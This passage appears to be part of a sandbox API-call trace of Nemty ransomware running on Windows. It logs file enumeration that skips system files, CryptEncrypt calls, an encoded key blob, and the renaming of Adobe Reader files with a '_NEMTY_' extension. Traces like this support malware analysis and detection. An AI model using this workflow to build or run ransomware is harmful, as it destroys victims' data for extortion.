dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.769] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.808] CloseHandle (hObject=0xffffffff) returned 0 [0210.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.808] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5._nemty_kgobjgd_")) returned 0 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.809] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBK-EUC", cAlternateFileName="UCS2-G~1")) returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2=".") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="..") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="...") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="windows") returned -1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="$RECYCLE.BIN") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="rsa") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="NTDETECT.COM") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="ntldr") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="MSDOS.SYS") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="IO.SYS") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="boot.ini") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="boot.ini") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="AUTOEXEC.BAT") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="ntuser.dat") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="desktop.ini") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="CONFIG.SYS") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="RECYCLER") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="BOOTSECT.BAK") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="bootmgr") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="programdata") returned 1 [0210.809] lstrcmpiW (lpString1="UCS2-GBK-EUC", lpString2="appdata") returned 1 [0210.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBK-EUC", lpUsedDefaultChar=0x0) returned 12 [0210.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBK-EUC", lpUsedDefaultChar=0x0) returned 12 [0210.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBK-EUC", lpUsedDefaultChar=0x0) returned 12 [0210.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-GBK-EUC", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-GBK-EUC", lpUsedDefaultChar=0x0) returned 12 [0210.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.810] Sleep (dwMilliseconds=0x5) [0210.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x314b3910, dwHighDateTime=0x1d561e8)) [0210.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x314b3910, dwHighDateTime=0x1d561e8)) [0210.816] GetLastError () returned 0x5 [0210.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.816] GetLastError () returned 0x5 [0210.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.816] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.816] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.817] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0210.817] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="rquqzIcbIQcY1Du3XtoZFBQV9TiWlHvNWMWmJ2JdpPFK8q6UiSteB2bx8pQ/uql8\r\n2TRmdlSt5F29htUnqjj7HQvz3Zlv2loZC1Hkh4kwkIqfm+ofVMFnS7L8sPNR7vZL\r\nAb7EEn0i1ykoElo1N1oGwou9N3gR5mGuxjFSZRhmoWsY/5uKGyulq4ill9nrs+Gw\r\n6ehOWh8U2Gvra3xkKxluMkuMfCKd979+8enU6NG6ibXjYr9q4W6Uj1PdR4GvCfeG\r\nInIrWwExSz4NPtuhlfuGDRSCmQjMJa6Fy7wckCuo35KQwNuCm8RV5V/HsGOlQqGu\r\nCQhrvSrrzQ4xfh5cdiEbuA==\r\n", pcchString=0x653e91c) returned 1 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0210.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0210.817] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.817] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 